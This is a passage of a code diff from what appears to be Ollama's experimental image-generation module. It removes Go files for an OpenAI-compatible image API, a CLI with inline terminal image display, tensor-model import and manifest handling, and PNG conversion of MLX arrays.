c.JSON(http.StatusNotFound, gin.H{"error": gin.H{"message": fmt.Sprintf("model %q not found", req.Model)}})
return
}
// Parse size
width, height := parseSize(req.Size)
// Build options - we repurpose NumCtx/NumGPU for width/height
opts := api.Options{}
opts.NumCtx = int(width)
opts.NumGPU = int(height)
// Schedule runner
runner, err := scheduler.ScheduleImageGenRunner(c, req.Model, opts, nil)
if err != nil {
status := http.StatusInternalServerError
if strings.Contains(err.Error(), "not found") {
status = http.StatusNotFound
}
c.JSON(status, gin.H{"error": gin.H{"message": err.Error()}})
return
}
// Build completion request
completionReq := llm.CompletionRequest{
Prompt: req.Prompt,
Options: &opts,
}
if req.Stream {
handleStreamingResponse(c, runner, completionReq, req.ResponseFormat)
} else {
handleNonStreamingResponse(c, runner, completionReq, req.ResponseFormat)
}
}
func handleStreamingResponse(c *gin.Context, runner llm.LlamaServer, req llm.CompletionRequest, format string) {
c.Header("Content-Type", "text/event-stream")
c.Header("Cache-Control", "no-cache")
c.Header("Connection", "keep-alive")
var imagePath string
err := runner.Completion(c.Request.Context(), req, func(resp llm.CompletionResponse) {
if resp.Done {
imagePath = extractPath(resp.Content)
} else {
progress := parseProgress(resp.Content)
if progress.Total > 0 {
c.SSEvent("progress", progress)
c.Writer.Flush()
}
}
})
if err != nil {
c.SSEvent("error", gin.H{"error": err.Error()})
return
}
c.SSEvent("done", buildResponse(imagePath, format))
}
func handleNonStreamingResponse(c *gin.Context, runner llm.LlamaServer, req llm.CompletionRequest, format string) {
var imagePath string
err := runner.Completion(c.Request.Context(), req, func(resp llm.CompletionResponse) {
if resp.Done {
imagePath = extractPath(resp.Content)
}
})
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": gin.H{"message": err.Error()}})
return
}
c.JSON(http.StatusOK, buildResponse(imagePath, format))
}
func parseSize(size string) (int32, int32) {
parts := strings.Split(size, "x")
if len(parts) != 2 {
return 1024, 1024
}
w, _ := strconv.Atoi(parts[0])
h, _ := strconv.Atoi(parts[1])
if w == 0 {
w = 1024
}
if h == 0 {
h = 1024
}
return int32(w), int32(h)
}
func extractPath(content string) string {
if idx := strings.Index(content, "Image saved to: "); idx >= 0 {
return strings.TrimSpace(content[idx+16:])
}
return ""
}
func parseProgress(content string) ImageProgressEvent {
var step, total int
fmt.Sscanf(content, "\rGenerating: step %d/%d", &step, &total)
return ImageProgressEvent{Step: step, Total: total}
}
func buildResponse(imagePath, format string) ImageGenerationResponse {
resp := ImageGenerationResponse{
Created: time.Now().Unix(),
Data: make([]ImageData, 1),
}
if imagePath == "" {
return resp
}
if format == "url" {
resp.Data[0].URL = "file://" + imagePath
} else {
data, err := os.ReadFile(imagePath)
if err == nil {
resp.Data[0].B64JSON = base64.StdEncoding.EncodeToString(data)
}
}
return resp
}
// HandleGenerateRequest handles Ollama /api/generate requests for image gen models.
// This allows routes.go to delegate image generation with minimal code.
func HandleGenerateRequest(c *gin.Context, scheduler RunnerScheduler, modelName, prompt string, keepAlive *api.Duration, streamFn func(c *gin.Context, ch chan any)) {
opts := api.Options{}
// Schedule runner
runner, err := scheduler.ScheduleImageGenRunner(c, modelName, opts, keepAlive)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
// Build completion request
completionReq := llm.CompletionRequest{
Prompt: prompt,
Options: &opts,
}
// Stream responses via channel
ch := make(chan any)
go func() {
defer close(ch)
err := runner.Completion(c.Request.Context(), completionReq, func(resp llm.CompletionResponse) {
ch <- GenerateResponse{
Model: modelName,
CreatedAt: time.Now().UTC(),
Response: resp.Content,
Done: resp.Done,
}
})
if err != nil {
// Log error but don't block - channel is already being consumed
_ = err
}
}()
streamFn(c, ch)
}
// GenerateResponse matches api.GenerateResponse structure for streaming.
type GenerateResponse struct {
Model string `json:"model"`
CreatedAt time.Time `json:"created_at"`
Response string `json:"response"`
Done bool `json:"done"`
}

View File

@@ -1,31 +0,0 @@
// Package api provides OpenAI-compatible image generation API types.
package api
// ImageGenerationRequest is an OpenAI-compatible image generation request.
type ImageGenerationRequest struct {
Model string `json:"model"`
Prompt string `json:"prompt"`
N int `json:"n,omitempty"`
Size string `json:"size,omitempty"`
ResponseFormat string `json:"response_format,omitempty"`
Stream bool `json:"stream,omitempty"`
}
// ImageGenerationResponse is an OpenAI-compatible image generation response.
type ImageGenerationResponse struct {
Created int64 `json:"created"`
Data []ImageData `json:"data"`
}
// ImageData contains the generated image data.
type ImageData struct {
URL string `json:"url,omitempty"`
B64JSON string `json:"b64_json,omitempty"`
RevisedPrompt string `json:"revised_prompt,omitempty"`
}
// ImageProgressEvent is sent during streaming to indicate generation progress.
type ImageProgressEvent struct {
Step int `json:"step"`
Total int `json:"total"`
}

View File

@@ -1,539 +0,0 @@
// cli.go provides CLI commands for image generation models.
//
// TODO (jmorganca): Integrate these commands into cmd/cmd.go when stable.
// Currently these are separate to keep experimental code isolated.
package imagegen
import (
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"io"
"os"
"strconv"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/envconfig"
"github.com/ollama/ollama/progress"
"github.com/ollama/ollama/readline"
)
// ImageGenOptions holds options for image generation.
// These can be set via environment variables or interactive commands.
type ImageGenOptions struct {
Width int
Height int
Steps int
Seed int
NegativePrompt string
}
// DefaultOptions returns the default image generation options.
func DefaultOptions() ImageGenOptions {
return ImageGenOptions{
Width: 1024,
Height: 1024,
Steps: 9,
Seed: 0, // 0 means random
}
}
// Show displays information about an image generation model.
func Show(modelName string, w io.Writer) error {
manifest, err := LoadManifest(modelName)
if err != nil {
return fmt.Errorf("failed to load manifest: %w", err)
}
// Count total size
var totalSize int64
for _, layer := range manifest.Manifest.Layers {
if layer.MediaType == "application/vnd.ollama.image.tensor" {
totalSize += layer.Size
}
}
// Read model_index.json for architecture
var architecture string
if data, err := manifest.ReadConfig("model_index.json"); err == nil {
var index struct {
Architecture string `json:"architecture"`
}
if json.Unmarshal(data, &index) == nil {
architecture = index.Architecture
}
}
// Estimate parameter count from total size (assuming BF16 = 2 bytes per param)
paramCount := totalSize / 2
paramStr := formatParamCount(paramCount)
// Print Model info
fmt.Fprintln(w, " Model")
if architecture != "" {
fmt.Fprintf(w, " %-20s %s\n", "architecture", architecture)
}
fmt.Fprintf(w, " %-20s %s\n", "parameters", paramStr)
fmt.Fprintf(w, " %-20s %s\n", "quantization", "BF16")
fmt.Fprintln(w)
// Print Capabilities
fmt.Fprintln(w, " Capabilities")
fmt.Fprintf(w, " %s\n", "image")
fmt.Fprintln(w)
return nil
}
// formatParamCount formats parameter count as human-readable string.
func formatParamCount(count int64) string {
if count >= 1_000_000_000 {
return fmt.Sprintf("%.1fB", float64(count)/1_000_000_000)
}
if count >= 1_000_000 {
return fmt.Sprintf("%.1fM", float64(count)/1_000_000)
}
return fmt.Sprintf("%d", count)
}
// RegisterFlags adds image generation flags to the given command.
// Flags are hidden since they only apply to image generation models.
func RegisterFlags(cmd *cobra.Command) {
cmd.Flags().Int("width", 1024, "Image width")
cmd.Flags().Int("height", 1024, "Image height")
cmd.Flags().Int("steps", 9, "Denoising steps")
cmd.Flags().Int("seed", 0, "Random seed (0 for random)")
cmd.Flags().String("negative", "", "Negative prompt")
cmd.Flags().MarkHidden("width")
cmd.Flags().MarkHidden("height")
cmd.Flags().MarkHidden("steps")
cmd.Flags().MarkHidden("seed")
cmd.Flags().MarkHidden("negative")
}
// RunCLI handles the CLI for image generation models.
// Returns true if it handled the request, false if the caller should continue with normal flow.
// Supports flags: --width, --height, --steps, --seed, --negative
func RunCLI(cmd *cobra.Command, name string, prompt string, interactive bool, keepAlive *api.Duration) error {
// Verify it's a valid image gen model
if ResolveModelName(name) == "" {
return fmt.Errorf("unknown image generation model: %s", name)
}
// Get options from flags (with env var defaults)
opts := DefaultOptions()
if cmd != nil && cmd.Flags() != nil {
if v, err := cmd.Flags().GetInt("width"); err == nil && v > 0 {
opts.Width = v
}
if v, err := cmd.Flags().GetInt("height"); err == nil && v > 0 {
opts.Height = v
}
if v, err := cmd.Flags().GetInt("steps"); err == nil && v > 0 {
opts.Steps = v
}
if v, err := cmd.Flags().GetInt("seed"); err == nil && v != 0 {
opts.Seed = v
}
if v, err := cmd.Flags().GetString("negative"); err == nil && v != "" {
opts.NegativePrompt = v
}
}
if interactive {
return runInteractive(cmd, name, keepAlive, opts)
}
// One-shot generation
return generateImageWithOptions(cmd, name, prompt, keepAlive, opts)
}
// generateImageWithOptions generates an image with the given options.
func generateImageWithOptions(cmd *cobra.Command, modelName, prompt string, keepAlive *api.Duration, opts ImageGenOptions) error {
client, err := api.ClientFromEnvironment()
if err != nil {
return err
}
// Build request with image gen options encoded in Options fields
// NumCtx=width, NumGPU=height, NumPredict=steps, Seed=seed
req := &api.GenerateRequest{
Model: modelName,
Prompt: prompt,
Options: map[string]any{
"num_ctx": opts.Width,
"num_gpu": opts.Height,
"num_predict": opts.Steps,
"seed": opts.Seed,
},
}
if keepAlive != nil {
req.KeepAlive = keepAlive
}
// Show loading spinner until generation starts
p := progress.NewProgress(os.Stderr)
spinner := progress.NewSpinner("")
p.Add("", spinner)
var stepBar *progress.StepBar
var imagePath string
err = client.Generate(cmd.Context(), req, func(resp api.GenerateResponse) error {
content := resp.Response
// Handle progress updates - parse step info and switch to step bar
if strings.HasPrefix(content, "\rGenerating:") {
var step, total int
fmt.Sscanf(content, "\rGenerating: step %d/%d", &step, &total)
if stepBar == nil && total > 0 {
spinner.Stop()
stepBar = progress.NewStepBar("Generating", total)
p.Add("", stepBar)
}
if stepBar != nil {
stepBar.Set(step)
}
return nil
}
// Handle final response with image path
if resp.Done && strings.Contains(content, "Image saved to:") {
if idx := strings.Index(content, "Image saved to: "); idx >= 0 {
imagePath = strings.TrimSpace(content[idx+16:])
}
}
return nil
})
p.Stop()
if err != nil {
return err
}
if imagePath != "" {
displayImageInTerminal(imagePath)
fmt.Printf("Image saved to: %s\n", imagePath)
}
return nil
}
// runInteractive runs an interactive REPL for image generation.
func runInteractive(cmd *cobra.Command, modelName string, keepAlive *api.Duration, opts ImageGenOptions) error {
client, err := api.ClientFromEnvironment()
if err != nil {
return err
}
scanner, err := readline.New(readline.Prompt{
Prompt: ">>> ",
Placeholder: "Describe an image to generate (/help for commands)",
})
if err != nil {
return err
}
if envconfig.NoHistory() {
scanner.HistoryDisable()
}
for {
line, err := scanner.Readline()
switch {
case errors.Is(err, io.EOF):
fmt.Println()
return nil
case errors.Is(err, readline.ErrInterrupt):
if line == "" {
fmt.Println("\nUse Ctrl + d or /bye to exit.")
}
continue
case err != nil:
return err
}
line = strings.TrimSpace(line)
if line == "" {
continue
}
// Handle commands
switch {
case strings.HasPrefix(line, "/bye"):
return nil
case strings.HasPrefix(line, "/?"), strings.HasPrefix(line, "/help"):
printInteractiveHelp(opts)
continue
case strings.HasPrefix(line, "/set "):
if err := handleSetCommand(line[5:], &opts); err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
}
continue
case strings.HasPrefix(line, "/show"):
printCurrentSettings(opts)
continue
case strings.HasPrefix(line, "/"):
fmt.Fprintf(os.Stderr, "Unknown command: %s (try /help)\n", line)
continue
}
// Generate image with current options
req := &api.GenerateRequest{
Model: modelName,
Prompt: line,
Options: map[string]any{
"num_ctx": opts.Width,
"num_gpu": opts.Height,
"num_predict": opts.Steps,
"seed": opts.Seed,
},
}
if keepAlive != nil {
req.KeepAlive = keepAlive
}
// Show loading spinner until generation starts
p := progress.NewProgress(os.Stderr)
spinner := progress.NewSpinner("")
p.Add("", spinner)
var stepBar *progress.StepBar
var imagePath string
err = client.Generate(cmd.Context(), req, func(resp api.GenerateResponse) error {
content := resp.Response
// Handle progress updates - parse step info and switch to step bar
if strings.HasPrefix(content, "\rGenerating:") {
var step, total int
fmt.Sscanf(content, "\rGenerating: step %d/%d", &step, &total)
if stepBar == nil && total > 0 {
spinner.Stop()
stepBar = progress.NewStepBar("Generating", total)
p.Add("", stepBar)
}
if stepBar != nil {
stepBar.Set(step)
}
return nil
}
// Handle final response with image path
if resp.Done && strings.Contains(content, "Image saved to:") {
if idx := strings.Index(content, "Image saved to: "); idx >= 0 {
imagePath = strings.TrimSpace(content[idx+16:])
}
}
return nil
})
p.Stop()
if err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
continue
}
// Copy image to current directory with descriptive name
if imagePath != "" {
// Create filename from prompt (sanitized)
safeName := sanitizeFilename(line)
if len(safeName) > 50 {
safeName = safeName[:50]
}
timestamp := time.Now().Format("20060102-150405")
newName := fmt.Sprintf("%s-%s.png", safeName, timestamp)
// Copy file to CWD
if err := copyFile(imagePath, newName); err != nil {
fmt.Fprintf(os.Stderr, "Error saving to current directory: %v\n", err)
displayImageInTerminal(imagePath)
fmt.Printf("Image saved to: %s\n", imagePath)
} else {
displayImageInTerminal(newName)
fmt.Printf("Image saved to: %s\n", newName)
}
}
fmt.Println()
}
}
// sanitizeFilename removes characters that aren't safe for filenames.
func sanitizeFilename(s string) string {
s = strings.ToLower(s)
s = strings.ReplaceAll(s, " ", "-")
// Remove any character that's not alphanumeric or hyphen
var result strings.Builder
for _, r := range s {
if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' {
result.WriteRune(r)
}
}
return result.String()
}
// copyFile copies a file from src to dst.
func copyFile(src, dst string) error {
sourceFile, err := os.Open(src)
if err != nil {
return err
}
defer sourceFile.Close()
destFile, err := os.Create(dst)
if err != nil {
return err
}
defer destFile.Close()
_, err = io.Copy(destFile, sourceFile)
return err
}
// printInteractiveHelp prints help for interactive mode commands.
func printInteractiveHelp(opts ImageGenOptions) {
fmt.Fprintln(os.Stderr, "Commands:")
fmt.Fprintln(os.Stderr, " /set width <n> Set image width (current:", opts.Width, ")")
fmt.Fprintln(os.Stderr, " /set height <n> Set image height (current:", opts.Height, ")")
fmt.Fprintln(os.Stderr, " /set steps <n> Set denoising steps (current:", opts.Steps, ")")
fmt.Fprintln(os.Stderr, " /set seed <n> Set random seed (current:", opts.Seed, ", 0=random)")
fmt.Fprintln(os.Stderr, " /set negative <s> Set negative prompt")
fmt.Fprintln(os.Stderr, " /show Show current settings")
fmt.Fprintln(os.Stderr, " /bye Exit")
fmt.Fprintln(os.Stderr)
fmt.Fprintln(os.Stderr, "Or type a prompt to generate an image.")
fmt.Fprintln(os.Stderr)
}
// printCurrentSettings prints the current image generation settings.
func printCurrentSettings(opts ImageGenOptions) {
fmt.Fprintf(os.Stderr, "Current settings:\n")
fmt.Fprintf(os.Stderr, " width: %d\n", opts.Width)
fmt.Fprintf(os.Stderr, " height: %d\n", opts.Height)
fmt.Fprintf(os.Stderr, " steps: %d\n", opts.Steps)
fmt.Fprintf(os.Stderr, " seed: %d (0=random)\n", opts.Seed)
if opts.NegativePrompt != "" {
fmt.Fprintf(os.Stderr, " negative: %s\n", opts.NegativePrompt)
}
fmt.Fprintln(os.Stderr)
}
// handleSetCommand handles /set commands to change options.
func handleSetCommand(args string, opts *ImageGenOptions) error {
parts := strings.SplitN(args, " ", 2)
if len(parts) < 2 {
return fmt.Errorf("usage: /set <option> <value>")
}
key := strings.ToLower(parts[0])
value := strings.TrimSpace(parts[1])
switch key {
case "width", "w":
v, err := strconv.Atoi(value)
if err != nil || v <= 0 {
return fmt.Errorf("width must be a positive integer")
}
opts.Width = v
fmt.Fprintf(os.Stderr, "Set width to %d\n", v)
case "height", "h":
v, err := strconv.Atoi(value)
if err != nil || v <= 0 {
return fmt.Errorf("height must be a positive integer")
}
opts.Height = v
fmt.Fprintf(os.Stderr, "Set height to %d\n", v)
case "steps", "s":
v, err := strconv.Atoi(value)
if err != nil || v <= 0 {
return fmt.Errorf("steps must be a positive integer")
}
opts.Steps = v
fmt.Fprintf(os.Stderr, "Set steps to %d\n", v)
case "seed":
v, err := strconv.Atoi(value)
if err != nil {
return fmt.Errorf("seed must be an integer")
}
opts.Seed = v
fmt.Fprintf(os.Stderr, "Set seed to %d\n", v)
case "negative", "neg", "n":
opts.NegativePrompt = value
if value == "" {
fmt.Fprintln(os.Stderr, "Cleared negative prompt")
} else {
fmt.Fprintf(os.Stderr, "Set negative prompt to: %s\n", value)
}
default:
return fmt.Errorf("unknown option: %s (try /help)", key)
}
return nil
}
// displayImageInTerminal attempts to render an image inline in the terminal.
// Supports iTerm2, Kitty, WezTerm, Ghostty, and other terminals with inline image support.
// Returns true if the image was displayed, false otherwise.
func displayImageInTerminal(imagePath string) bool {
// Check if terminal supports inline images
termProgram := os.Getenv("TERM_PROGRAM")
kittyWindowID := os.Getenv("KITTY_WINDOW_ID")
weztermPane := os.Getenv("WEZTERM_PANE")
ghostty := os.Getenv("GHOSTTY_RESOURCES_DIR")
// Read the image file
data, err := os.ReadFile(imagePath)
if err != nil {
return false
}
encoded := base64.StdEncoding.EncodeToString(data)
switch {
case termProgram == "iTerm.app" || termProgram == "WezTerm" || weztermPane != "":
// iTerm2/WezTerm inline image protocol
// ESC ] 1337 ; File = [arguments] : base64 BEL
fmt.Printf("\033]1337;File=inline=1;preserveAspectRatio=1:%s\a\n", encoded)
return true
case kittyWindowID != "" || ghostty != "" || termProgram == "ghostty":
// Kitty graphics protocol (also used by Ghostty)
// Send in chunks for large images
const chunkSize = 4096
for i := 0; i < len(encoded); i += chunkSize {
end := i + chunkSize
if end > len(encoded) {
end = len(encoded)
}
chunk := encoded[i:end]
if i == 0 {
// First chunk: a=T (transmit), f=100 (PNG), m=1 (more chunks follow) or m=0 (last chunk)
more := 1
if end >= len(encoded) {
more = 0
}
fmt.Printf("\033_Ga=T,f=100,m=%d;%s\033\\", more, chunk)
} else if end >= len(encoded) {
// Last chunk
fmt.Printf("\033_Gm=0;%s\033\\", chunk)
} else {
// Middle chunk
fmt.Printf("\033_Gm=1;%s\033\\", chunk)
}
}
fmt.Println()
return true
default:
return false
}
}

View File

@@ -1,130 +0,0 @@
// Package client provides client-side model creation for tensor-based models.
//
// This package is in x/ because the tensor model storage format is under development.
// It also exists to break an import cycle: server imports x/imagegen, so x/imagegen
// cannot import server. This sub-package can import server because server doesn't
// import it.
//
// TODO (jmorganca): This is temporary. When tensor models are promoted to production:
// 1. Add proper API endpoints for tensor model creation
// 2. Move tensor extraction to server-side
// 3. Remove this package
// 4. Follow the same client→server pattern as regular model creation
package client
import (
"bytes"
"encoding/json"
"fmt"
"io"
"github.com/ollama/ollama/progress"
"github.com/ollama/ollama/server"
"github.com/ollama/ollama/types/model"
"github.com/ollama/ollama/x/imagegen"
)
// MinOllamaVersion is the minimum Ollama version required for image generation models.
const MinOllamaVersion = "0.14.0"
// CreateModel imports a tensor-based model from a local directory.
// This creates blobs and manifest directly on disk, bypassing the HTTP API.
//
// TODO (jmorganca): Replace with API-based creation when promoted to production.
func CreateModel(modelName, modelDir string, p *progress.Progress) error {
if !imagegen.IsTensorModelDir(modelDir) {
return fmt.Errorf("%s is not an image generation model directory (model_index.json not found)", modelDir)
}
status := "importing image generation model"
spinner := progress.NewSpinner(status)
p.Add("imagegen", spinner)
// Create layer callback for config files
createLayer := func(r io.Reader, mediaType, name string) (imagegen.LayerInfo, error) {
layer, err := server.NewLayer(r, mediaType)
if err != nil {
return imagegen.LayerInfo{}, err
}
layer.Name = name
return imagegen.LayerInfo{
Digest: layer.Digest,
Size: layer.Size,
MediaType: layer.MediaType,
Name: name,
}, nil
}
// Create tensor layer callback for individual tensors
// name is path-style: "component/tensor_name"
createTensorLayer := func(r io.Reader, name, dtype string, shape []int32) (imagegen.LayerInfo, error) {
layer, err := server.NewLayer(r, server.MediaTypeImageTensor)
if err != nil {
return imagegen.LayerInfo{}, err
}
layer.Name = name
return imagegen.LayerInfo{
Digest: layer.Digest,
Size: layer.Size,
MediaType: layer.MediaType,
Name: name,
}, nil
}
// Create manifest writer callback
writeManifest := func(modelName string, config imagegen.LayerInfo, layers []imagegen.LayerInfo) error {
name := model.ParseName(modelName)
if !name.IsValid() {
return fmt.Errorf("invalid model name: %s", modelName)
}
// Create a proper config blob with version requirement
configData := model.ConfigV2{
ModelFormat: "safetensors",
Capabilities: []string{"image"},
Requires: MinOllamaVersion,
}
configJSON, err := json.Marshal(configData)
if err != nil {
return fmt.Errorf("failed to marshal config: %w", err)
}
// Create config layer blob
configLayer, err := server.NewLayer(bytes.NewReader(configJSON), "application/vnd.docker.container.image.v1+json")
if err != nil {
return fmt.Errorf("failed to create config layer: %w", err)
}
// Convert LayerInfo to server.Layer (include the original model_index.json in layers)
serverLayers := make([]server.Layer, len(layers))
for i, l := range layers {
serverLayers[i] = server.Layer{
MediaType: l.MediaType,
Digest: l.Digest,
Size: l.Size,
Name: l.Name,
}
}
return server.WriteManifest(name, configLayer, serverLayers)
}
// Progress callback
progressFn := func(msg string) {
spinner.Stop()
status = msg
spinner = progress.NewSpinner(status)
p.Add("imagegen", spinner)
}
err := imagegen.CreateModel(modelName, modelDir, createLayer, createTensorLayer, writeManifest, progressFn)
spinner.Stop()
if err != nil {
return err
}
fmt.Printf("Created image generation model '%s'\n", modelName)
return nil
}

View File

@@ -1,35 +0,0 @@
# MLX Engine
Experimental MLX backend for running models on Apple Silicon and CUDA.
## Build
```bash
go build -tags mlx -o engine ./x/imagegen/cmd/engine
```
## Text Generation
```bash
./engine -model /path/to/model -prompt "Hello" -max-tokens 100
```
Options:
- `-temperature` - sampling temperature (default 0.7)
- `-top-p` - nucleus sampling (default 0.9)
- `-top-k` - top-k sampling (default 40)
Supports: Llama, Gemma3, GPT-OSS
## Image Generation
```bash
./engine -zimage -model /path/to/z-image -prompt "a cat" -output cat.png
```
Options:
- `-width`, `-height` - image dimensions (default 1024x1024)
- `-steps` - denoising steps (default 9)
- `-seed` - random seed (default 42)

View File

@@ -98,7 +98,7 @@ func main() {
log.Fatal(loadErr)
}
var img *mlx.Array
img, err = m.GenerateFromConfig(context.Background(), &zimage.GenerateConfig{
img, err = m.GenerateFromConfig(&zimage.GenerateConfig{
Prompt: *prompt,
Width: int32(*width),
Height: int32(*height),

View File

@@ -1,183 +0,0 @@
package imagegen
import (
"bytes"
"encoding/json"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"github.com/ollama/ollama/x/imagegen/safetensors"
)
// IsTensorModelDir checks if the directory contains a tensor model
// by looking for model_index.json, which is the standard diffusers pipeline config.
func IsTensorModelDir(dir string) bool {
_, err := os.Stat(filepath.Join(dir, "model_index.json"))
return err == nil
}
// LayerInfo holds metadata for a created layer.
type LayerInfo struct {
Digest string
Size int64
MediaType string
Name string // Path-style name: "component/tensor" or "path/to/config.json"
}
// LayerCreator is called to create a blob layer.
// name is the path-style name (e.g., "tokenizer/tokenizer.json")
type LayerCreator func(r io.Reader, mediaType, name string) (LayerInfo, error)
// TensorLayerCreator creates a tensor blob layer with metadata.
// name is the path-style name including component (e.g., "text_encoder/model.embed_tokens.weight")
type TensorLayerCreator func(r io.Reader, name, dtype string, shape []int32) (LayerInfo, error)
// ManifestWriter writes the manifest file.
type ManifestWriter func(modelName string, config LayerInfo, layers []LayerInfo) error
// CreateModel imports an image generation model from a directory.
// Stores each tensor as a separate blob for fine-grained deduplication.
// Layer creation and manifest writing are done via callbacks to avoid import cycles.
func CreateModel(modelName, modelDir string, createLayer LayerCreator, createTensorLayer TensorLayerCreator, writeManifest ManifestWriter, fn func(status string)) error {
var layers []LayerInfo
var configLayer LayerInfo
// Components to process - extract individual tensors from each
components := []string{"text_encoder", "transformer", "vae"}
for _, component := range components {
componentDir := filepath.Join(modelDir, component)
if _, err := os.Stat(componentDir); os.IsNotExist(err) {
continue
}
// Find all safetensors files in this component
entries, err := os.ReadDir(componentDir)
if err != nil {
return fmt.Errorf("failed to read %s: %w", component, err)
}
for _, entry := range entries {
if !strings.HasSuffix(entry.Name(), ".safetensors") {
continue
}
stPath := filepath.Join(componentDir, entry.Name())
// Extract individual tensors from safetensors file
extractor, err := safetensors.OpenForExtraction(stPath)
if err != nil {
return fmt.Errorf("failed to open %s: %w", stPath, err)
}
tensorNames := extractor.ListTensors()
fn(fmt.Sprintf("importing %s/%s (%d tensors)", component, entry.Name(), len(tensorNames)))
for _, tensorName := range tensorNames {
td, err := extractor.GetTensor(tensorName)
if err != nil {
extractor.Close()
return fmt.Errorf("failed to get tensor %s: %w", tensorName, err)
}
// Store as minimal safetensors format (88 bytes header overhead)
// This enables native mmap loading via mlx_load_safetensors
// Use path-style name: "component/tensor_name"
fullName := component + "/" + tensorName
layer, err := createTensorLayer(td.SafetensorsReader(), fullName, td.Dtype, td.Shape)
if err != nil {
extractor.Close()
return fmt.Errorf("failed to create layer for %s: %w", fullName, err)
}
layers = append(layers, layer)
}
extractor.Close()
}
}
// Import config files
configFiles := []string{
"model_index.json",
"text_encoder/config.json",
"text_encoder/generation_config.json",
"transformer/config.json",
"vae/config.json",
"scheduler/scheduler_config.json",
"tokenizer/tokenizer.json",
"tokenizer/tokenizer_config.json",
"tokenizer/vocab.json",
}
for _, cfgPath := range configFiles {
fullPath := filepath.Join(modelDir, cfgPath)
if _, err := os.Stat(fullPath); os.IsNotExist(err) {
continue
}
fn(fmt.Sprintf("importing config %s", cfgPath))
var r io.Reader
// For model_index.json, normalize to Ollama format
if cfgPath == "model_index.json" {
data, err := os.ReadFile(fullPath)
if err != nil {
return fmt.Errorf("failed to read %s: %w", cfgPath, err)
}
var cfg map[string]any
if err := json.Unmarshal(data, &cfg); err != nil {
return fmt.Errorf("failed to parse %s: %w", cfgPath, err)
}
// Rename _class_name to architecture, remove diffusers-specific fields
if className, ok := cfg["_class_name"]; ok {
cfg["architecture"] = className
delete(cfg, "_class_name")
}
delete(cfg, "_diffusers_version")
data, err = json.MarshalIndent(cfg, "", " ")
if err != nil {
return fmt.Errorf("failed to marshal %s: %w", cfgPath, err)
}
r = bytes.NewReader(data)
} else {
f, err := os.Open(fullPath)
if err != nil {
return fmt.Errorf("failed to open %s: %w", cfgPath, err)
}
defer f.Close()
r = f
}
layer, err := createLayer(r, "application/vnd.ollama.image.json", cfgPath)
if err != nil {
return fmt.Errorf("failed to create layer for %s: %w", cfgPath, err)
}
// Use model_index.json as the config layer
if cfgPath == "model_index.json" {
configLayer = layer
}
layers = append(layers, layer)
}
if configLayer.Digest == "" {
return fmt.Errorf("model_index.json not found in %s", modelDir)
}
fn(fmt.Sprintf("writing manifest for %s", modelName))
if err := writeManifest(modelName, configLayer, layers); err != nil {
return fmt.Errorf("failed to write manifest: %w", err)
}
fn(fmt.Sprintf("successfully imported %s with %d layers", modelName, len(layers)))
return nil
}

View File

@@ -1,107 +0,0 @@
//go:build mlx
package imagegen
import (
"bytes"
"encoding/base64"
"fmt"
"image"
"image/png"
"os"
"path/filepath"
"github.com/ollama/ollama/x/imagegen/mlx"
)
// SaveImage saves an MLX array as a PNG image file.
// Expected format: [B, C, H, W] with values in [0, 1] range and C=3 (RGB).
func SaveImage(arr *mlx.Array, path string) error {
img, err := ArrayToImage(arr)
if err != nil {
return err
}
if filepath.Ext(path) != ".png" {
path = path + ".png"
}
f, err := os.Create(path)
if err != nil {
return err
}
defer f.Close()
return png.Encode(f, img)
}
// EncodeImageBase64 encodes an MLX array as a base64-encoded PNG.
// Expected format: [B, C, H, W] with values in [0, 1] range and C=3 (RGB).
func EncodeImageBase64(arr *mlx.Array) (string, error) {
img, err := ArrayToImage(arr)
if err != nil {
return "", err
}
var buf bytes.Buffer
if err := png.Encode(&buf, img); err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(buf.Bytes()), nil
}
// ArrayToImage converts an MLX array to a Go image.RGBA.
// Expected format: [B, C, H, W] with values in [0, 1] range and C=3 (RGB).
func ArrayToImage(arr *mlx.Array) (*image.RGBA, error) {
shape := arr.Shape()
if len(shape) != 4 {
return nil, fmt.Errorf("expected 4D array [B, C, H, W], got %v", shape)
}
// Transform to [H, W, C] for image conversion
img := mlx.Squeeze(arr, 0)
img = mlx.Transpose(img, 1, 2, 0)
img = mlx.Contiguous(img)
mlx.Eval(img)
imgShape := img.Shape()
H := int(imgShape[0])
W := int(imgShape[1])
C := int(imgShape[2])
if C != 3 {
img.Free()
return nil, fmt.Errorf("expected 3 channels (RGB), got %d", C)
}
// Copy to CPU and free GPU memory
data := img.Data()
img.Free()
// Write directly to Pix slice (faster than SetRGBA)
goImg := image.NewRGBA(image.Rect(0, 0, W, H))
pix := goImg.Pix
for y := 0; y < H; y++ {
for x := 0; x < W; x++ {
srcIdx := (y*W + x) * C
dstIdx := (y*W + x) * 4
pix[dstIdx+0] = uint8(clampF(data[srcIdx+0]*255+0.5, 0, 255))
pix[dstIdx+1] = uint8(clampF(data[srcIdx+1]*255+0.5, 0, 255))
pix[dstIdx+2] = uint8(clampF(data[srcIdx+2]*255+0.5, 0, 255))
pix[dstIdx+3] = 255
}
}
return goImg, nil
}
func clampF(v, min, max float32) float32 {
if v < min {
return min
}
if v > max {
return max
}
return v
}

View File

@@ -1,177 +0,0 @@
package imagegen
import (
"encoding/json"
"fmt"
"io"
"os"
"path/filepath"
"runtime"
"strings"
)
// ManifestLayer represents a layer in the manifest.
type ManifestLayer struct {
MediaType string `json:"mediaType"`
Digest string `json:"digest"`
Size int64 `json:"size"`
Name string `json:"name,omitempty"` // Path-style name: "component/tensor" or "path/to/config.json"
}
// Manifest represents the manifest JSON structure.
type Manifest struct {
SchemaVersion int `json:"schemaVersion"`
MediaType string `json:"mediaType"`
Config ManifestLayer `json:"config"`
Layers []ManifestLayer `json:"layers"`
}
// ModelManifest holds a parsed manifest with helper methods.
type ModelManifest struct {
Manifest *Manifest
BlobDir string
}
// DefaultBlobDir returns the default blob storage directory.
func DefaultBlobDir() string {
home, err := os.UserHomeDir()
if err != nil {
home = "."
}
switch runtime.GOOS {
case "darwin":
